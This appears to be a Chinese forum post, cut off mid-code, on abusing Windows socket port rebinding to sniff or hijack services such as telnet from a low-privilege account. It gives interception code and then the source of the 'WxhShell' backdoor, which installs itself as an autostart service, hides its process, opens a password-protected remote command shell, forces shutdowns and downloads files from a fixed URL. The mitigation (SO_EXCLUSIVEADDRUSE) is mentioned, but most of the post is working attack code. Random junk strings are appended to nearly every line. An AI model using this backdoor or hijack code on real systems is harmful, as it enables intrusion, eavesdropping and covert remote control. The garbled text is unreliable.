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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Fa9gr/.F,@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .>+jtp}  
f}? q  
  saddr.sin_family = AF_INET; }8?1)l  
YN($rAkL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9/4Bx!~A  
K91.-k3)$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >n6yKcjY]  
sI#r3:?i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TptXH?  
="AJ &BqHd  
  这意味着什么?意味着可以进行如下的攻击: pb=yQ}.  
MP%pEUomev  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 07qL@![!  
W6L}T,epX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [y1 x`WOk9  
[cvtF(,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &+-]!^2o  
@DK;i_i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0OPpALl  
[XDr-5Dm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 # `b5kqQm  
k5TPzm=y{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X7{ h/^  
;sfk@ec  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E|5lm  
drEND`,@6|  
  #include Yn1CU  
  #include Fc.1)yh.  
  #include :}}~ $$&  
  #include    4&/m>%r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &s<'fSI  
  int main() `6 `oLu\l  
  { >2@ a\  
  WORD wVersionRequested; KvfZj  
  DWORD ret; /%5X:*:H  
  WSADATA wsaData; IiRII)  
  BOOL val; (#%R'9R v  
  SOCKADDR_IN saddr; G2e0\}q  
  SOCKADDR_IN scaddr; `Wy8g?d;bn  
  int err; 6<+8[o  
  SOCKET s; (N`x  
  SOCKET sc; d@0&  
  int caddsize; *m 9,_~t  
  HANDLE mt; [sweN]b6F  
  DWORD tid;   n;,>Fv  
  wVersionRequested = MAKEWORD( 2, 2 ); s2M|ni=  
  err = WSAStartup( wVersionRequested, &wsaData ); {rWFgn4Li  
  if ( err != 0 ) { &0QtHcXpR  
  printf("error!WSAStartup failed!\n"); ^VAvQ(b!:i  
  return -1; gyAKjLqqpi  
  } FQGh+.U  
  saddr.sin_family = AF_INET; ]eD5It\  
   L#X!.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V=DT.u  
)3RbD#?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); > Vvjs  
  saddr.sin_port = htons(23); L fx$M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |"XxM(Dm  
  { E2a00i/9Y  
  printf("error!socket failed!\n"); 1X$hwkof  
  return -1; _;yi/)-2  
  } cp\A xWtUZ  
  val = TRUE; |jwN8@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p.J+~s4G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <4QOjW  
  {  T%p/(  
  printf("error!setsockopt failed!\n"); )i{B:w\ ^  
  return -1; 35X4] t  
  } H<bK9k)E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q*B(ZG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h.D*Y3=<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .ECT  
L4C_qb k;:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f}U@e0Lsb  
  { %HK\  
  ret=GetLastError(); {Y#$  
  printf("error!bind failed!\n"); rS/}!|uAu  
  return -1; >:yU bo)  
  } 4:S?m(ah/  
  listen(s,2); t,m},c(B:  
  while(1) gNoQ[xFx32  
  { uY'77,G_J  
  caddsize = sizeof(scaddr); i9%cpPrg8  
  //接受连接请求 S0uEz;cE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !p#+I=  
  if(sc!=INVALID_SOCKET) /"*eMe!=  
  { _>"f&nb O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A]k-bX= s  
  if(mt==NULL) IU*w 'a  
  { ~0ku,P#D  
  printf("Thread Creat Failed!\n"); ;`P}\Q{  
  break; $7bl,~Z  
  } TaN]{k  
  } M~+T $K  
  CloseHandle(mt); lImg+r T{  
  } "2~%-;c  
  closesocket(s); RN"O/b}qQ  
  WSACleanup(); /y<nAGtD&  
  return 0; O3>m,v  
  }   TUaW'  
  DWORD WINAPI ClientThread(LPVOID lpParam) "X7;^yY  
  { Q lg~S1D_v  
  SOCKET ss = (SOCKET)lpParam; 39+6ZTqx  
  SOCKET sc; g.re`m|Aj  
  unsigned char buf[4096]; w2/3\3p  
  SOCKADDR_IN saddr; !33)6*s  
  long num; a~nErB  
  DWORD val; ?U;KwS]%  
  DWORD ret; ; OpN &q+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CS<,qvLpL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }F~4+4B^  
  saddr.sin_family = AF_INET; mm,be.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); It .`  
  saddr.sin_port = htons(23); ;[~:Y[N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZLRAiL  
  { g)@d(EYY  
  printf("error!socket failed!\n"); UZ"jQJQ  
  return -1; n2#Yw}7^,o  
  } e<;^P(g`E  
  val = 100; RXF%A5FXh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2UF ,W]  
  { XA*sBf  
  ret = GetLastError(); #~Z55 D_  
  return -1; !y{t}|U/d  
  } wC~ra:/?:7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4tb y N  
  { q0l=S+0  
  ret = GetLastError(); aN/0'V|&ym  
  return -1; }wh sZ  
  } =/b WS,=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WLe9m02r  
  { 7Ib/Cm0d|  
  printf("error!socket connect failed!\n"); }}g.L|  
  closesocket(sc); V>YZ^>oeH  
  closesocket(ss); Ym WVb  
  return -1; Y,%d_yR[  
  } -!kfwJg8N(  
  while(1) =h<LlI^v  
  { v_$'!i$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Gc'CS_L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lW!}OzE(m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )O~V3a  
  num = recv(ss,buf,4096,0); \z4I'"MC.9  
  if(num>0) @@O=a  
  send(sc,buf,num,0); {B_pjs  
  else if(num==0) fuQb h  
  break; _ `RCY^t  
  num = recv(sc,buf,4096,0); 4R~f   
  if(num>0) *<[Nvk^  
  send(ss,buf,num,0); >O:31Uk  
  else if(num==0) }95;qyQ$  
  break; \ M_}V[1+  
  } F;Lg w^1!  
  closesocket(ss); 4KkjBPV  
  closesocket(sc); H*Tc.Ie  
  return 0 ; [9:'v@Ph  
  } \VTNXEw*G  
Q--VZqn  
#00k7y>OyD  
========================================================== hpqM fz1  
Y}/e" mp  
下边附上一个代码,,WXhSHELL `a!:-.:v  
!p4y@U{  
========================================================== .[1"3!T  
u9:+^F+  
#include "stdafx.h" >brf7h  
Ev R6^n/  
#include <stdio.h> 9<9 c^2  
#include <string.h> `Z}7G@ol  
#include <windows.h> uP:Y[$O  
#include <winsock2.h> <#hltPyh  
#include <winsvc.h> kbxy^4"X  
#include <urlmon.h> @LzqQ [  
,.cNs5 [t  
#pragma comment (lib, "Ws2_32.lib") WP@IV;i  
#pragma comment (lib, "urlmon.lib") t#Q" ;e  
.!kO2/:6  
#define MAX_USER   100 // 最大客户端连接数 } +@H&}u  
#define BUF_SOCK   200 // sock buffer [`_ZlC  
#define KEY_BUFF   255 // 输入 buffer JMUk=p<\  
B4<W%lm  
#define REBOOT     0   // 重启 '>}dqp{Wr  
#define SHUTDOWN   1   // 关机 [&Z3+/lR*  
#DN5S#Ic  
#define DEF_PORT   5000 // 监听端口 {x+"Ru~7,  
^+ hJ& 9W  
#define REG_LEN     16   // 注册表键长度 ]$StbBP  
#define SVC_LEN     80   // NT服务名长度 cPemrNxydN  
<HLe,  
// 从dll定义API *6-fvqCv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ),<E-Ub  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `v1Xywg9P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q\B048~KK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [Ipg",Su;f  
r@2{>j8  
// wxhshell配置信息 LxM.z1  
struct WSCFG { 6evW O!  
  int ws_port;         // 监听端口 R3G+tE/Y  
  char ws_passstr[REG_LEN]; // 口令 Q}a,+*N.  
  int ws_autoins;       // 安装标记, 1=yes 0=no `ehZ(H}  
  char ws_regname[REG_LEN]; // 注册表键名 -7^A_!.  
  char ws_svcname[REG_LEN]; // 服务名 :%!}%fkxH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jAa{;p"jU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q*Hf%I"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w/L^w50pt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |r]f2Mrm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fjE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 urlwn*!^s  
(|6Y1``  
}; LEq"g7YH  
W-QBC- 3  
// default Wxhshell configuration nPW?DbH +  
struct WSCFG wscfg={DEF_PORT, eYER "E  
    "xuhuanlingzhe", 'E4`qq  
    1, !Od?69W, $  
    "Wxhshell", Qg7rkRia  
    "Wxhshell", a w0;  
            "WxhShell Service", & *^FBJEa.  
    "Wrsky Windows CmdShell Service", ~{#$`o=  
    "Please Input Your Password: ", >t[beRcR6  
  1, C+*qU  
  "http://www.wrsky.com/wxhshell.exe", NV|[.g=lg  
  "Wxhshell.exe" 6z/ct|n  
    }; %{fa . >6  
G2bZl% ,D  
// 消息定义模块 RGeM.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hnQDm$k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i/&?e+i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >|)ia5#  
char *msg_ws_ext="\n\rExit."; K/2k/\Jk[_  
char *msg_ws_end="\n\rQuit."; d6$,iw@>^  
char *msg_ws_boot="\n\rReboot..."; 14[+PoF^A  
char *msg_ws_poff="\n\rShutdown..."; `]Uu`b  
char *msg_ws_down="\n\rSave to "; }@6/sg  
2(-J9y|  
char *msg_ws_err="\n\rErr!"; ?P+n0S!  
char *msg_ws_ok="\n\rOK!"; z/JoU je  
KuU]enC3  
char ExeFile[MAX_PATH]; %:v59:i}  
int nUser = 0; m3apeIEi[  
HANDLE handles[MAX_USER]; h\oAW?^  
int OsIsNt; kQ,#NR/q6  
}!5x1F!  
SERVICE_STATUS       serviceStatus; B!`Dj,_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P87!+pB(  
h>'9-j6B  
// 函数声明 |WopsV %  
int Install(void); pjC2jlwm*  
int Uninstall(void); %idn7STJ}  
int DownloadFile(char *sURL, SOCKET wsh); 1]yOC)u"i  
int Boot(int flag); >-2eZ(n)"  
void HideProc(void); [79 eq=  
int GetOsVer(void); (,5oqU9s@  
int Wxhshell(SOCKET wsl); (xp<@-  
void TalkWithClient(void *cs); Ywj=6 +;  
int CmdShell(SOCKET sock); CDDx %#eG>  
int StartFromService(void); 7x/S4Gs'4  
int StartWxhshell(LPSTR lpCmdLine); E<[_L!2  
-BY'E$]4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bYuQ"K A$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0_}^IiG  
wq[\Fb`  
// 数据结构和表定义 [0_JS2KE  
SERVICE_TABLE_ENTRY DispatchTable[] = `EV" /&`  
{ a@|/D\C  
{wscfg.ws_svcname, NTServiceMain}, R^}}-Dv r  
{NULL, NULL} G}o?lo\#h  
}; L<kIzB !  
e&Z\hZBb  
// 自我安装 $/\b`ID  
int Install(void) T ;Ga G  
{ NDw+bR-  
  char svExeFile[MAX_PATH]; 59?@55  
  HKEY key; -#=y   
  strcpy(svExeFile,ExeFile); .k{omr&Dy5  
|G2hm8 Y  
// 如果是win9x系统,修改注册表设为自启动 \JJ>y  
if(!OsIsNt) { "2>I?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0jS"PH?[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]r #YU0  
  RegCloseKey(key); g$&uD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -hM nA)+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u N%RB$G  
  RegCloseKey(key); _eB?G  
  return 0; f@ &?K<  
    } x.V6C0|6"  
  } Cd4a7<-  
} 4Xna}7  
else { <OKzb3e  
x+kP,v  
// 如果是NT以上系统,安装为系统服务 -ff|Xxar{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -{Lc?=  
if (schSCManager!=0) kI|Vv90l  
{ FiTP-~  
  SC_HANDLE schService = CreateService <O`yM2/pS  
  ( s\c*ibxM,  
  schSCManager, < q6z$c)K  
  wscfg.ws_svcname,  b>N) H  
  wscfg.ws_svcdisp, 0nkon3H  
  SERVICE_ALL_ACCESS, !J34yro+s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cJEO wAN  
  SERVICE_AUTO_START, TBfX1v|Z)  
  SERVICE_ERROR_NORMAL, O"otzla  
  svExeFile, 5zebH  
  NULL, %5X}4k!p  
  NULL, go, Hfb  
  NULL, /Q7cQ2[EU  
  NULL, :!omog  
  NULL ,/.U'{  
  ); jTNfGu0x  
  if (schService!=0) F&{RP>  
  { S ("Zzq`  
  CloseServiceHandle(schService); Vb|;@*=R&Q  
  CloseServiceHandle(schSCManager); ~Rzn =>a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *>Z|!{bI  
  strcat(svExeFile,wscfg.ws_svcname); :n3)vK   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8S&Kf>D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q!iMc  
  RegCloseKey(key); L  lP  
  return 0; Qm| Q0u   
    } '4PAH2&n  
  } ,&S ^Ryc  
  CloseServiceHandle(schSCManager); U @Il:\I  
} ;4jRsirx9  
} >Z#=<  
!6eXJ#~[E  
return 1; b P>!&s_  
} \NYtxGV[Z  
P# o/S4  
// 自我卸载 !Jo3>!,j  
int Uninstall(void) dzY B0vut@  
{ O*3x'I*a  
  HKEY key; yVThbL_YJ  
7w7mE  
if(!OsIsNt) { gf!hO$sQ3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uN`{; Av  
  RegDeleteValue(key,wscfg.ws_regname); `{g8A P3  
  RegCloseKey(key); ^}XKhn.S'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?Gq'r2V  
  RegDeleteValue(key,wscfg.ws_regname); CIt>D'/YT  
  RegCloseKey(key); Rd5ni2-nve  
  return 0; 0dKI+zgr  
  } 6qA48:/F=  
} _=c>>X  
} $9znRTFEj  
else { )!1; =   
J@ x%TA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <BIj a  
if (schSCManager!=0) Vp $]  
{ *|n::9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); { 7y.0_Y  
  if (schService!=0) P5;LM9W  
  { W11Wv&  
  if(DeleteService(schService)!=0) { sIuk  
  CloseServiceHandle(schService); TlEx w0i!  
  CloseServiceHandle(schSCManager); ^'S0A=1  
  return 0; Lm<"W_  
  } ||y5XXs  
  CloseServiceHandle(schService); 9X8{"J  
  } )u7*YlU\I  
  CloseServiceHandle(schSCManager); Wxl^f?I`:  
} OE(H:^ZR  
} !FweXFl  
%H:uE*WZ  
return 1; qvz2u]IOw  
} G| pZ  
}$W4aG*[  
// 从指定url下载文件 .I{b]6  
int DownloadFile(char *sURL, SOCKET wsh) ?45kN=%*s  
{ ScrEtN  
  HRESULT hr; uX{n#i,~L  
char seps[]= "/"; N> R abD  
char *token; MnvFmYgxA  
char *file; 3Oy-\09  
char myURL[MAX_PATH]; N=K|Nw  
char myFILE[MAX_PATH]; v*%#Fp,g8  
-k{n"9a9?  
strcpy(myURL,sURL); v\*43RL  
  token=strtok(myURL,seps); jsS xjf;O  
  while(token!=NULL) qr%9S dvx  
  { "J]_B  
    file=token; 3kFOs$3  
  token=strtok(NULL,seps); 7s_#X|A$  
  } &H!3]  
[B9'/:  
GetCurrentDirectory(MAX_PATH,myFILE); NLFSw  
strcat(myFILE, "\\"); hkw;W[ZWa  
strcat(myFILE, file); G l+[ |?N  
  send(wsh,myFILE,strlen(myFILE),0); kLVf}J~?  
send(wsh,"...",3,0); _Zya GDv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !3>(fj+QS  
  if(hr==S_OK) !oeu  
return 0; 4 vwa/?  
else >{i/LC^S  
return 1; xwa5dtcng  
)/H=m7}1h  
} mLU4RQ}5  
<va3Ly)c&  
// 系统电源模块 I0 a,mO;m  
int Boot(int flag) v8"plx=3  
{ \P]w^  
  HANDLE hToken; Ev;HV}G  
  TOKEN_PRIVILEGES tkp; }f)$+mi  
hoI?,[@F  
  if(OsIsNt) { F)/}Q[o8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JqTkNKi/s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &P&LjHFK  
    tkp.PrivilegeCount = 1; V6"<lK8"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #|fa/kb~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vCT5do"C&  
if(flag==REBOOT) { R6~x!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pg" uisT#>  
  return 0; brJ _q0@  
} O(;K ]8  
else { hK9Trrwau  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Dt)\q^bH)  
  return 0; {J q[N}  
} T;jp2 #  
  } kM5N#|!  
  else { \o9-[V#Gm  
if(flag==REBOOT) { hK"hMyH^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ei2Y)_   
  return 0; 78>)<$+d  
} vJDK]p<}  
else { obRR))  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *]~ug%a  
  return 0; Y 3r m')c  
} IlsXj`!e  
} O{a<f7 W  
-}0S%|#m  
return 1; ,wE]:|`qJ  
} A_1cM#4  
d_=@1 JM>  
// win9x进程隐藏模块 8RWfv}:X  
void HideProc(void) Gwxx W   
{ +[*VU2f t  
`E>HpRcxD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C4],7"Sw  
  if ( hKernel != NULL ) BL<.u  
  { Pcut#8?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5bM/ v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <m9hM?^q  
    FreeLibrary(hKernel); =8$//$  
  } ,ii*[{X?  
m8eyAvi 6  
return; D_ xPa  
} ,~8:^*0s  
>k,|N4(  
// 获取操作系统版本 q\ FF)H  
int GetOsVer(void) p C l[DE  
{ 3TqC.S5+  
  OSVERSIONINFO winfo; F,Q\_H##x4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vrn. #d  
  GetVersionEx(&winfo); jZeY^T)f"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tGnBx)J|  
  return 1; #pu6^NTK  
  else !!Z#'Wq  
  return 0; 4s nL((  
} =LV7K8FSd  
\O5`R-  
// 客户端句柄模块 |m7U^  
int Wxhshell(SOCKET wsl) %0C<_drW  
{ u-PAi5&n  
  SOCKET wsh; n/#zx:d?  
  struct sockaddr_in client; 5ckL=q"+/  
  DWORD myID; p3ox%4  
~>&7~N8  
  while(nUser<MAX_USER) =r"8J5[f  
{ &C<K|F!j!  
  int nSize=sizeof(client); z(2pl}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^T@ (`H4@  
  if(wsh==INVALID_SOCKET) return 1; bh|M]*Pq  
s.I%[kada  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b/'{6zn  
if(handles[nUser]==0) 3~Od2nk(x  
  closesocket(wsh); uc!j`G*]  
else S9R(;  
  nUser++; fe PH=C  
  } .?R~!K{`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iSu7K&X9q  
n2&*5m&$  
  return 0; ,T@+QXh  
} i^Vb42%y  
M#X8Rs1`  
// 关闭 socket a0I+|fR  
void CloseIt(SOCKET wsh) zWKnkIit,  
{ 1BT]_ cP  
closesocket(wsh); *I6z;.#  
nUser--; 4-;"w;  
ExitThread(0); {Q],rv|;  
} VuA7rIF$66  
{<&i4;  
// 客户端请求句柄 Yt&Isi +  
void TalkWithClient(void *cs) O ]o7  
{ {hQ0=rv<  
V/|).YG2  
  SOCKET wsh=(SOCKET)cs; FjRt'  
  char pwd[SVC_LEN]; 2%|  
  char cmd[KEY_BUFF]; `roos<F1D  
char chr[1]; 4x7(50hp#  
int i,j; HV O mM17  
Uytq,3Gj6  
  while (nUser < MAX_USER) { MMlryn||1  
oSVo~F  
if(wscfg.ws_passstr) { E;!pK9wL|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K$v SdpC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GL;@heP  
  //ZeroMemory(pwd,KEY_BUFF); o6`4y^Q{/  
      i=0; yg({g "  
  while(i<SVC_LEN) { q#LB 2M  
U%%fKL=S  
  // 设置超时 hojP3 [  
  fd_set FdRead; _)|_KQQu  
  struct timeval TimeOut; *+(t2!yFmE  
  FD_ZERO(&FdRead); EUBJnf:q  
  FD_SET(wsh,&FdRead); @1+C*  
  TimeOut.tv_sec=8; dRw O t  
  TimeOut.tv_usec=0; AI KLJvte  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 48%-lkol)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V{!fag  
+c)"p4m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6oTWW@  
  pwd=chr[0]; & gF*p  
  if(chr[0]==0xd || chr[0]==0xa) { GJZGHUB=>  
  pwd=0; Zop3[-  
  break; 3a9%djGq  
  } M)v\7a  
  i++; vW6 a=j8  
    } j,<3[  
0$=Uhi  
  // 如果是非法用户,关闭 socket -64@}Ts*?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GMk\ l  
} '?| (QU:)F  
}f rij1/G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ggluQGA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RLnsy,  
lT.Q)(  
while(1) { mL5Nu+#  
sk'< K5~  
  ZeroMemory(cmd,KEY_BUFF); (<M^C>pldf  
3[q&%Z.  
      // 自动支持客户端 telnet标准   Q?"o.T';  
  j=0; $ ~>3bik@  
  while(j<KEY_BUFF) { I+JWDYk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K4T#8K]aZF  
  cmd[j]=chr[0]; Q1ox<-  
  if(chr[0]==0xa || chr[0]==0xd) { fPXMp%T!  
  cmd[j]=0; z+@ CzHCN  
  break; $H0diwl9R  
  } ( mV*7Z  
  j++; 2T3TD%  
    } ceiUpWMu,  
MHF31/g\  
  // 下载文件 (tZ#E L0  
  if(strstr(cmd,"http://")) { $? 'JePC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mn)>G36(  
  if(DownloadFile(cmd,wsh)) @B.;V=8wJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bxxazsj^  
  else g>k"R4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t1LIZ5JY  
  } :S['hBMN  
  else { +jpaBr-O#  
'A^;P]y  
    switch(cmd[0]) { 72i ]`   
  _'eG   
  // 帮助 W|~Jl7hs8Q  
  case '?': { R,3E_me"}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]m fI$p%  
    break; nqp:nw  
  } 1\'?.  
  // 安装 {z^6V\O5  
  case 'i': { ]'L#'"@  
    if(Install()) X jJV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,5Vc  
    else {|R@\G.1(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y15 MWZ  
    break; +2DzX/3  
    } 96V@+I  
  // 卸载 qcNu9Ih  
  case 'r': { 5g x9W\a ?  
    if(Uninstall()) EnM }H9A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ffv v8x  
    else Z$UPLg3=;_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mYU7b8x_  
    break; MC 8t"SB  
    } zRO-oOJ  
  // 显示 wxhshell 所在路径 >e g8zN  
  case 'p': { 2 }9of[  
    char svExeFile[MAX_PATH];  +*W9*gl  
    strcpy(svExeFile,"\n\r"); V6c>1nZ  
      strcat(svExeFile,ExeFile); @ij8AGE:  
        send(wsh,svExeFile,strlen(svExeFile),0); sI M^e  
    break; z%4E~u10  
    } r8R]0\  
  // 重启 1 #zIAN>  
  case 'b': { )A@ }mIs"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "mbjS(-eg  
    if(Boot(REBOOT)) g6s&nH`Z2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }3b3^f  
    else { Z+gG.|"k  
    closesocket(wsh); 2qA"emUM  
    ExitThread(0); A^m]DSFOO  
    } 31y>/*}  
    break; FnZMW, P  
    } zeC@!,lH  
  // 关机 g9T9TQ-O  
  case 'd': { Mk3~%`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sI/]pgt2  
    if(Boot(SHUTDOWN)) |9fvj6?Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hc2AGeZr  
    else { 6~oo.6bA  
